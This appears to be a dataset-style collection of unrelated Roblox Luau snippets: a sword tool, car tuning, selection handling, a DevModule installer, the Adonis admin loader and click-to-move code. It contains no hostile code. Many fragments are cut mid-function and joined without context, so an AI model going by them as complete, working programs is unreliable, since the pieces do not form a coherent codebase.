emote = string.sub(msg, 4)
elseif (string.sub(msg, 1, 7) == "/emote ") then
emote = string.sub(msg, 8)
end
if (pose == "Standing" and emoteNames[emote] ~= nil) then
playAnimation(emote, 0.1, Humanoid)
end
end)
|
--print(Speed)
|
Velocidade = Speed
TS:Create(Main.Status.Barra.Stamina, TweenInfo.new(.25), {Size = UDim2.new(Speed/ServerConfig.RunWalkSpeed,0,0.75,0)} ):Play()
end)
Ferido.Changed:Connect(function(Valor)
|
-- [[
-- #if defined(LUA_COMPAT_VARARG)
|
-- use `arg' as default name
self:new_localvarliteral(ls, "arg", nparams)
nparams = nparams + 1
f.is_vararg = self.VARARG_HASARG + self.VARARG_NEEDSARG
|
--and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create
--function can recognize as special.
|
Create.E = function(eventName)
return {__eventname = eventName}
end
DamageValues = {
BaseDamage = 0,
SlashDamage = 17,
}
Damage = DamageValues.BaseDamage
BaseUrl = "http://www.roblox.com/asset/?id="
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
Animations = {
LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
}
Sounds = {
Unsheath = Handle:WaitForChild("Unsheath"),
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
}
LastExplode = 0
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
Handle.Transparency = 0
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function CheckTableForInstance(Table, Instance)
for i, v in pairs(Table) do
if v == Instance then
return true
end
end
return false
end
function DealDamage(character, damage)
if not CheckIfAlive() or not character then
return
end
local damage = (damage or 0)
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = character:FindFirstChild("HumanoidRootPart")
if not rootpart then
rootpart = character:FindFirstChild("Torso")
end
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(damage)
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Blow(Part)
local PartTouched
local HitDelay = false
PartTouched = Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then
return
end
local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso"))
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
HitDelay = true
local TotalDamage = Damage
DealDamage(character, TotalDamage)
local Now = tick()
print((Now - LastExplode))
if (math.random() <= 0.05) and (Now - LastExplode) >= 5 then
LastExplode = Now
local Explosion = Create("Explosion"){
Name = "Explosion",
Position = Handle.Position,
ExplosionType = Enum.ExplosionType.NoCraters,
DestroyJointRadiusPercent = 0,
BlastPressure = 0,
BlastRadius = 5,
Visible = true,
}
local PlayersHit = {}
Explosion.Hit:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
if CheckTableForInstance(PlayersHit, character) then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and player ~= Player and IsTeamMate(Player, player) then --don't damage teammates but damage
return
end
table.insert(PlayersHit, character)
UntagHumanoid(humanoid)
if player ~= Player then
TagHumanoid(humanoid, Player)
end
humanoid:TakeDamage(100 / ((player == Player and 2) or 1))
end)
Explosion.Parent = game:GetService("Workspace")
end
wait(0.05)
HitDelay = false
end)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
--[[local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Slash",
}
Debris:AddItem(Anim, 2)
Anim.Parent = Tool]]
local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe})
or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe}))
local Animation = SwingAnimations[math.random(1, #SwingAnimations)]
Spawn(function()
InvokeClient("PlayAnimation", Animation)
end)
wait(Animation.Duration)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
Attack()
Damage = DamageValues.BaseDamage
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
Sounds.Unsheath:Play()
ToolEquipped = true
end
function Unequipped()
Humanoid.WalkSpeed = 16
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Blow(Handle)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local References = require(game.ReplicatedStorage.Source.Modules.References)
References.Util:GetPlayerData(player).Character.Appearance.Face.Value = game.ReplicatedStorage.Assets.SystemPrefabs.Faces:GetChildren()[math.random(1,#game.ReplicatedStorage.Assets.SystemPrefabs.Faces:GetChildren())].Name
game.ReplicatedStorage.Events.System.UpdateFace:Fire(player)
end
|
-- The tag name. Used for cleanup.
|
local DEFAULT_COLLECTION_TAG_NAME: string = "_RaycastHitboxV4Managed"
|
-- This script's purpose is to remove the part as the game starts
|
if script.Parent.Parent:FindFirstChild("ThumbnailCamera") == true then
script.Parent.Parent.ThumbnailCamera:Destroy()
end
script.Parent:Destroy()
|
--Tune--
|
local StockHP = 445 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 1 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 91 --bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos
local WasteGatePressure = 50 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 9/1 --Compression of your car (look up the compression of the engine you are running)
local AntiLag = true --if true basically keeps the turbo spooled up so less lag
local BOV_Loudness = 1.1 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.9 --max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 0.65 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "v" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
end
elseif key == "u" then --Window controls
if windows == false then
winfob.Visible = true
windows = true
else windows = false
winfob.Visible = false
end
elseif key == "[" then -- volume down
if carSeat.Parent.Body.MP.Sound.Volume > 0 then
handler:FireServer('updateVolume', -0.5)
end
elseif key == "]" then -- volume up
if carSeat.Parent.Body.MP.Sound.Volume < 10 then
handler:FireServer('updateVolume', 0.5)
end
end
end)
winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('updateSong', winfob.mg.Input.Text)
end)
winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('pauseSong')
end)
|
-- Example test-code here. Put the following code in a localscript inside a screengui with this module.
--[[
local confettiModule = require(script.Parent:WaitForChild('ConfettiModule'))
while true do
confettiModule.Explode(Vector2.new(300,150), 50)
wait(.5)
confettiModule.Explode(Vector2.new(500,150), 50)
wait(.5)
confettiModule.Explode(Vector2.new(700,150), 50)
wait(5)
confettiModule.Rain(100)
wait(5)
end
]]
| |
-- Ensures that all scripts included with a DevModule are marked as Disabled.
-- This makes sure there are no race conditions resulting in the Install script
-- running after the scripts included with the module.
|
local function assertScriptsAreDisabled(devModuleScripts: { BaseScript })
local enabledScripts = {}
for _, devModuleScript in ipairs(devModuleScripts) do
if not devModuleScript.Disabled then
table.insert(enabledScripts, devModuleScript.Name)
end
end
if #enabledScripts > 0 then
error(constants.ENABLED_SCRIPTS_ERROR:format(table.concat(enabledScripts, ", ")))
end
end
type Options = {
verboseLogging: boolean,
}
local defaultOptions: Options = {
verboseLogging = false,
}
local function install(devModule: Instance, options: Options?)
local devModuleType = typeof(devModule)
assert(devModuleType == "Instance", ("expected a DevModule to install, got %s"):format(devModuleType))
assert(devModule.Parent, ("%s must be parented to be installed"):format(devModule.Name))
local mergedOptions = defaultOptions
for key, value in pairs(options or {}) do
mergedOptions[key] = value
end
if mergedOptions.verboseLogging then
useVerboseLogging = mergedOptions.verboseLogging
end
events.started:Fire()
log("info", ("Installing %s from %s..."):format(devModule.Name, devModule.Parent.Name))
local devModuleScripts = getDevModuleScripts(devModule)
assertScriptsAreDisabled(devModuleScripts)
if constants.DEV_MODULE_STORAGE:FindFirstChild(devModule.Name) then
log("info", "A version of this DevModule already exists. Skipping...")
devModule:Destroy()
return
end
log("info", "Overlaying services...")
for _, child in ipairs(devModule:GetChildren()) do
-- GetService errors if the given name is not a service so we wrap it in
-- a pcall to use the result in a conditional.
local success, service = pcall(function()
return game:GetService(child.Name)
end)
if success then
overlay(child, service)
end
end
log("info", "Enabling scripts...")
for _, devModuleScript in ipairs(devModuleScripts) do
devModuleScript.Disabled = false
log("info", ("Enabled %s"):format(devModuleScript.Name))
end
events.finished:Fire()
log("info", ("Safe to remove %s"):format(devModule:GetFullName()))
log("info", ("Removing %s..."):format(devModule:GetFullName()))
devModule:Destroy()
log("info", ("Successfully installed %s!"):format(devModule.Name))
end
return install
|
--- Adds parts & models found in `Item` to `PartTable` & `ModelTable`.
|
local function CollectPartsAndModels(Item, PartTable, ModelTable)
-- Collect item if it's a part
if Item:IsA('BasePart') then
table.insert(PartTable, Item)
else
-- Collect item if it's a model
if Item:IsA('Model') then
table.insert(ModelTable, Item)
end
-- Collect parts & models within item
local Descendants = Item:GetDescendants()
for _, Descendant in ipairs(Descendants) do
if Descendant:IsA('BasePart') then
table.insert(PartTable, Descendant)
elseif Descendant:IsA('Model') then
table.insert(ModelTable, Descendant)
end
end
end
end
function Selection.Add(Items, RegisterHistory)
-- Adds the given items to the selection
-- Get core API
local Core = GetCore();
-- Go through and validate each given item
local SelectableItems = {};
for _, Item in pairs(Items) do
-- Make sure each item is valid and not already selected
if Item.Parent and (not Selection.ItemIndex[Item]) then
table.insert(SelectableItems, Item);
end;
end;
local OldSelection = Selection.Items;
-- Track parts and models in new selection
local Parts = {}
local Models = {}
-- Go through the valid new selection items
for _, Item in pairs(SelectableItems) do
-- Add each valid item to the selection
Selection.ItemIndex[Item] = true;
CreateSelectionBoxes(Item)
-- Create maid for cleaning up item listeners
local ItemMaid = Maid.new()
Selection.Maid[Item] = ItemMaid
-- Deselect items that are destroyed
ItemMaid.RemovalListener = Item.AncestryChanged:Connect(function (Object, Parent)
if Parent == nil then
Selection.Remove({ Item })
end
end)
-- Find parts and models within item
CollectPartsAndModels(Item, Parts, Models)
-- Listen for new parts or models in groups
local IsGroup = not Item:IsA 'BasePart' or nil
ItemMaid.NewPartsOrModels = IsGroup and Item.DescendantAdded:Connect(function (Descendant)
if Descendant:IsA('PVInstance') then
if Descendant:IsA('BasePart') then
local NewRefCount = (Selection.PartIndex[Descendant] or 0) + 1
Selection.PartIndex[Descendant] = NewRefCount
Selection.Parts = Support.Keys(Selection.PartIndex)
if NewRefCount == 1 then
Selection.PartsAdded:Fire({ Descendant })
end
elseif Descendant:IsA('Model') then
local NewRefCount = (Selection.ModelIndex[Descendant] or 0) + 1
Selection.ModelIndex[Descendant] = NewRefCount
Selection.Models = Support.Keys(Selection.ModelIndex)
end
end
end)
ItemMaid.RemovingPartsOrModels = IsGroup and Item.DescendantRemoving:Connect(function (Descendant)
if Selection.PartIndex[Descendant] then
local NewRefCount = (Selection.PartIndex[Descendant] or 0) - 1
Selection.PartIndex[Descendant] = (NewRefCount > 0) and NewRefCount or nil
if NewRefCount == 0 then
Selection.Parts = Support.Keys(Selection.PartIndex)
Selection.PartsRemoved:Fire { Descendant }
end
elseif Selection.ModelIndex[Descendant] then
local NewRefCount = (Selection.ModelIndex[Descendant] or 0) - 1
Selection.ModelIndex[Descendant] = (NewRefCount > 0) and NewRefCount or nil
if NewRefCount == 0 then
Selection.Models = Support.Keys(Selection.ModelIndex)
end
end
end)
end
-- Update selected item list
Selection.Items = Support.Keys(Selection.ItemIndex);
-- Create a history record for this selection change, if requested
if RegisterHistory and #SelectableItems > 0 then
TrackSelectionChange(OldSelection);
end;
-- Register references to new parts
local NewParts = {}
for _, Part in pairs(Parts) do
local NewRefCount = (Selection.PartIndex[Part] or 0) + 1
Selection.PartIndex[Part] = NewRefCount
if NewRefCount == 1 then
table.insert(NewParts, Part)
end
end
-- Register references to new models
local NewModelCount = 0
for _, Model in ipairs(Models) do
local NewRefCount = (Selection.ModelIndex[Model] or 0) + 1
Selection.ModelIndex[Model] = NewRefCount
if NewRefCount == 1 then
NewModelCount += 1
end
end
-- Update parts list
if #NewParts > 0 then
Selection.Parts = Support.Keys(Selection.PartIndex)
Selection.PartsAdded:Fire(NewParts)
end
-- Update models list
if NewModelCount > 0 then
Selection.Models = Support.Keys(Selection.ModelIndex)
end
-- Fire relevant events
if #SelectableItems > 0 then
Selection.ItemsAdded:Fire(SelectableItems)
Selection.Changed:Fire()
end
end;
function Selection.Remove(Items, RegisterHistory)
-- Removes the given items from the selection
-- Go through and validate each given item
local DeselectableItems = {};
for _, Item in pairs(Items) do
-- Make sure each item is actually selected
if Selection.IsSelected(Item) then
table.insert(DeselectableItems, Item);
end;
end;
local OldSelection = Selection.Items;
-- Track parts and models in removing selection
local Parts = {}
local Models = {}
-- Go through the valid deselectable items
for _, Item in pairs(DeselectableItems) do
-- Remove item from selection
Selection.ItemIndex[Item] = nil;
RemoveSelectionBoxes(Item)
-- Stop tracking item's parts
Selection.Maid[Item] = nil
-- Find parts and models associated with item
CollectPartsAndModels(Item, Parts, Models)
end;
-- Update selected item list
Selection.Items = Support.Keys(Selection.ItemIndex);
-- Create a history record for this selection change, if requested
if RegisterHistory and #DeselectableItems > 0 then
TrackSelectionChange(OldSelection);
end;
-- Clear references to removing parts
local RemovingParts = {}
for _, Part in pairs(Parts) do
local NewRefCount = (Selection.PartIndex[Part] or 0) - 1
Selection.PartIndex[Part] = (NewRefCount > 0) and NewRefCount or nil
if NewRefCount == 0 then
table.insert(RemovingParts, Part)
end
end
-- Clear references to removing models
local RemovingModelCount = 0
for _, Model in ipairs(Models) do
local NewRefCount = (Selection.ModelIndex[Model] or 0) - 1
Selection.ModelIndex[Model] = (NewRefCount > 0) and NewRefCount or nil
if NewRefCount == 0 then
RemovingModelCount += 1
end
end
-- Update parts list
if #RemovingParts > 0 then
Selection.Parts = Support.Keys(Selection.PartIndex)
Selection.PartsRemoved:Fire(RemovingParts)
end
-- Update models list
if RemovingModelCount > 0 then
Selection.Models = Support.Keys(Selection.ModelIndex)
end
-- Fire relevant events
if #DeselectableItems > 0 then
Selection.ItemsRemoved:Fire(DeselectableItems)
Selection.Changed:Fire()
end
end;
function Selection.Clear(RegisterHistory)
-- Clears all items from selection
-- Remove all selected items
Selection.Remove(Selection.Items, RegisterHistory);
-- Fire relevant events
Selection.Cleared:Fire();
end;
function Selection.Replace(Items, RegisterHistory)
-- Replaces the current selection with the given new items
-- Save old selection reference for history
local OldSelection = Selection.Items;
-- Find new items
local NewItems = {}
for _, Item in ipairs(Items) do
if not Selection.ItemIndex[Item] then
table.insert(NewItems, Item)
end
end
-- Find removing items
local RemovingItems = {}
local NewItemIndex = Support.FlipTable(Items)
for _, Item in ipairs(Selection.Items) do
if not NewItemIndex[Item] then
table.insert(RemovingItems, Item)
end
end
-- Update selection
if #RemovingItems > 0 then
Selection.Remove(RemovingItems, false)
end
if #NewItems > 0 then
Selection.Add(NewItems, false)
end
-- Create a history record for this selection change, if requested
if RegisterHistory then
TrackSelectionChange(OldSelection);
end;
end;
local function IsVisible(Item)
return Item:IsA 'Model' or Item:IsA 'BasePart'
end
local function GetVisibleFocus(Item)
-- Returns a visible focus representing the item
-- Return nil if no focus
if not Item then
return nil
end
-- Return focus if it's visible
if IsVisible(Item) then
return Item
-- Return first visible item within focus if not visible itself
elseif Item then
return Item:FindFirstChildWhichIsA('BasePart') or
Item:FindFirstChildWhichIsA('Model') or
Item:FindFirstChildWhichIsA('BasePart', true) or
Item:FindFirstChildWhichIsA('Model', true)
end
end
function Selection.SetFocus(Item)
-- Selects `Item` as the focused selection item
-- Ensure focus has changed
local Focus = GetVisibleFocus(Item)
if Selection.Focus == Focus then
return
end
-- Set new focus item
Selection.Focus = Focus
-- Fire relevant events
Selection.FocusChanged:Fire(Focus)
end
function FocusOnLastSelectedPart()
-- Sets the last part of the selection as the focus
-- If selection is empty, clear the focus
if #Selection.Items == 0 then
Selection.SetFocus(nil);
-- Otherwise, focus on the last part in the selection
else
Selection.SetFocus(Selection.Items[#Selection.Items]);
end;
end;
|
-- Code to begin tracking, evenly spread out
|
task.defer(function()
local iterationsPerSec = 4
while true do
local Mobn = GetTableLength(MobList)
local Quota = Mobn / (60/iterationsPerSec)
for _, Mob in MobList do
if not Mob.isDead and not Mob.Destroyed then
local Player = AI:GetClosestPlayer(Mob)
if Player and not ActiveMobs[Mob.Instance] then
task.defer(AI.StartTracking, AI, Mob)
Quota -= 1
if Quota < 1 then
Quota += Mobn / (60/iterationsPerSec)
task.wait()
end
end
end
end
task.wait()
end
end)
|
--[=[
@type ExtensionShouldFn (component) -> boolean
@within Component
]=]
|
type ExtensionShouldFn = (any) -> boolean
|
--Weight Scaling
|
local weightScaling = _Tune.WeightScaling
|
-- Represents an ActiveCast :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/activecast/
|
export type ActiveCast = {
Caster: Caster,
StateInfo: CastStateInfo,
RayInfo: CastRayInfo,
UserData: {[any]: any}
}
return {}
|
--[[Flip]]
|
function Flip()
--Detect Orientation
if (car.Body.CarName.Value.VehicleSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
FlipWait=tick()
--Apply Flip
else
if tick()-FlipWait>=3 then
FlipDB=true
local gyro = car.Body.CarName.Value.VehicleSeat.Flip
gyro.maxTorque = Vector3.new(10000,0,10000)
gyro.P=3000
gyro.D=500
wait(1)
gyro.maxTorque = Vector3.new(0,0,0)
gyro.P=0
gyro.D=0
FlipDB=false
end
end
end
|
--[[ Modules ]]
|
--
local CurrentControlModule = nil
local ClickToMoveTouchControls = nil
local ControlModules = {}
local MasterControl = require(script:WaitForChild('MasterControl'))
if IsTouchDevice then
ControlModules.Thumbstick = require(script.MasterControl:WaitForChild('Thumbstick'))
ControlModules.Thumbpad = require(script.MasterControl:WaitForChild('Thumbpad'))
ControlModules.DPad = require(script.MasterControl:WaitForChild('DPad'))
ControlModules.Default = ControlModules.Thumbstick
TouchJumpModule = require(script.MasterControl:WaitForChild('TouchJump'))
BindableEvent_OnFailStateChanged = script.Parent:WaitForChild('OnClickToMoveFailStateChange')
else
ControlModules.Keyboard = require(script.MasterControl:WaitForChild('KeyboardMovement'))
end
ControlModules.Gamepad = require(script.MasterControl:WaitForChild('Gamepad'))
local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserUseLuaVehicleController") end)
if success and value then
local VehicleController = require(script.MasterControl:WaitForChild('VehicleController')) -- Not used, but needs to be required
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value < 45
end
|
----------------------------------------------------------------------------------------
-- Adonis Loader --
----------------------------------------------------------------------------------------
-- Epix Incorporated. Not Everything is so Black and White. --
----------------------------------------------------------------------------------------
-- Edit settings in-game or using the settings module in the Config folder --
----------------------------------------------------------------------------------------
-- This is not designed to work in solo mode --
----------------------------------------------------------------------------------------
|
warn(":: Adonis :: Loading...");
if _G["__Adonis_MUTEX"] and type(_G["__Adonis_MUTEX"])=="string" then
warn("\n-----------------------------------------------"
.."\nAdonis is already running! Aborting..."
.."\nRunning Location: ".._G["__Adonis_MUTEX"]
.."\nThis Location: "..script:GetFullName()
.."\n-----------------------------------------------")
--script:Destroy()
else
_G["__Adonis_MUTEX"] = script:GetFullName()
local model = script.Parent.Parent
local config = model.Config
local core = model.Loader
local dropper = core.Dropper
local loader = core.Loader
local runner = script
local settings = config.Settings
local plugins = config.Plugins
local themes = config.Themes
local backup = model:Clone()
local data = {
Settings = {};
Descriptions = {};
ServerPlugins = {};
ClientPlugins = {};
Packages = {};
Themes = {};
ModelParent = model.Parent;
Model = model;
Config = config;
Core = core;
Loader = loader;
Dopper = dropper;
Runner = runner;
ModuleID = 7510592873; --// https://www.roblox.com/library/7510592873/Adonis-MainModule
LoaderID = 7510622625; --// https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix
DebugMode = false;
}
--// Init
script:Destroy()
model.Name = math.random()
local moduleId = data.ModuleID
local a,setTab = pcall(require, settings)
if not a then
warn'::Adonis:: Settings module errored while loading; Using defaults;'
setTab = {}
end
if data.DebugMode then
moduleId = model.Parent.MainModule
end
data.Settings = setTab.Settings;
data.Descriptions = setTab.Description;
data.Order = setTab.Order;
for _,Plugin in next,plugins:GetChildren() do
if Plugin:IsA("Folder") then
table.insert(data.Packages, Plugin)
elseif Plugin.Name:lower():sub(1,7)=="client:" or Plugin.Name:lower():sub(1,7) == "client-" then
table.insert(data.ClientPlugins, Plugin)
elseif Plugin.Name:lower():sub(1,7)=="server:" or Plugin.Name:lower():sub(1,7)=="server-" then
table.insert(data.ServerPlugins, Plugin)
else
warn("Unknown Plugin Type for "..tostring(Plugin))
end
end
for _,Theme in next,themes:GetChildren() do
table.insert(data.Themes,Theme)
end
local module = require(moduleId)
local response = module(data)
if response == "SUCCESS" then
if (data.Settings and data.Settings.HideScript) and not data.DebugMode and not game:GetService("RunService"):IsStudio() then
model.Parent = nil
game:BindToClose(function() model.Parent = game:GetService("ServerScriptService") model.Name = "Adonis_Loader" end)
end
model.Name = "Adonis_Loader"
else
error("MainModule failed to load")
end
end
--[[
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
___________ .__ .___
\_ _____/_____ |__|__ ___ | | ____ ____
| __)_\____ \| \ \/ / | |/ \_/ ___\
| \ |_> > |> < | | | \ \___
/_______ / __/|__/__/\_ \ |___|___| /\___ > /\
\/|__| \/ \/ \/ \/
--------------------------------------------------------
Epix Incorporated. Not Everything is so Black and White.
--------------------------------------------------------
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--]]
|
--[[
CameraUtils - Math utility functions shared by multiple camera scripts
2018 Camera Update - AllYourBlox
--]]
| |
--local joystickWidth = 250
--local joystickHeight = 250
|
local function IsInBottomLeft(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function IsInBottomRight(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function CheckAlive(character)
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local function ExploreWithRayCast(currentPoint, originDirection)
local TestDistance = 40
local TestVectors = {}
do
local forwardVector = originDirection;
for i = 0, 15 do
table.insert(TestVectors, CFrame.Angles(0, math.pi / 8 * i, 0) * forwardVector)
end
end
local testResults = {}
-- Heuristic should be something along the lines of distance and closeness to the traveling direction
local function ExploreHeuristic()
for _, testData in pairs(testResults) do
local walkDirection = -1 * originDirection
local directionCoeff = (walkDirection:Dot(testData['Vector']) + 1) / 2
local distanceCoeff = testData['Distance'] / TestDistance
testData["Value"] = directionCoeff * distanceCoeff
end
end
for i, vec in pairs(TestVectors) do
local hitPart, hitPos = Utility.Raycast(Ray.new(currentPoint, vec * TestDistance), true, {Player.Character})
if hitPos then
table.insert(testResults, {Vector = vec; Distance = (hitPos - currentPoint).magnitude})
else
table.insert(testResults, {Vector = vec; Distance = TestDistance})
end
end
ExploreHeuristic()
table.sort(testResults, function(a,b) return a["Value"] > b["Value"] end)
return testResults
end
local TapId = 1
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
if ExistingPather then
ExistingPather:Cancel()
end
if PathCompleteListener then
PathCompleteListener:disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
DebrisService:AddItem(ExistingIndicator, 0)
ExistingIndicator = nil
end
end
local AutoJumperInstance = nil
local ShootCount = 0
local FailCount = 0
local function OnTap(tapPositions)
-- Good to remember if this is the latest tap event
TapId = TapId + 1
local thisTapId = TapId
local camera = workspace.CurrentCamera
local character = Player.Character
if not CheckAlive(character) then return end
-- This is a path tap position
if #tapPositions == 1 then
if camera then
local unitRay = Utility.GetUnitRay(tapPositions[1].x, tapPositions[1].y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*400)
local hitPart, hitPt = Utility.Raycast(ray, true, {character})
local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart)
local torso = character and character:FindFirstChild("Humanoid") and character:FindFirstChild("Humanoid").Torso
local startPos = torso.CFrame.p
if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then
CleanupPath()
local myHumanoid = findPlayerHumanoid(Player)
if myHumanoid then
myHumanoid:MoveTo(hitPt)
end
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shooot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
elseif hitPt and character then
local thisPather = Pather(character, hitPt)
if thisPather:IsValidPath() then
FailCount = 0
-- TODO: Remove when bug in engine is fixed
Player:Move(Vector3.new(1, 0, 0))
Player:Move(Vector3.new(0, 0, 0))
thisPather:Start()
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(false)
end
CleanupPath()
local destinationGlobe = CreateDestinationIndicator(hitPt)
destinationGlobe.Parent = camera
ExistingPather = thisPather
ExistingIndicator = destinationGlobe
if AutoJumperInstance then
AutoJumperInstance:Run()
end
